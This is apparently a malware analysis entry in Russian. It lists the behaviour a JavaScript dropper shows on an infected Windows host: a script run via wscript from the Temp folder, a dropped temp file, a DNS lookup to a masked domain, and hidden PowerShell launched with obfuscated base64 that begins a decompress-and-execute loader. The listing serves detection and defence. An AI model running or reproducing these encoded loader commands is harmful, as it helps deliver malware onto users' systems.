Техническая информация
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Temp\XCzzxgWalqskvCVxlnC.js"
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 2040
- %WINDIR%\temp\xczzxgwalqskvcvxlnc.js
- %TEMP%\946536.cvr
- DNS ASK ri####yahv4115.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...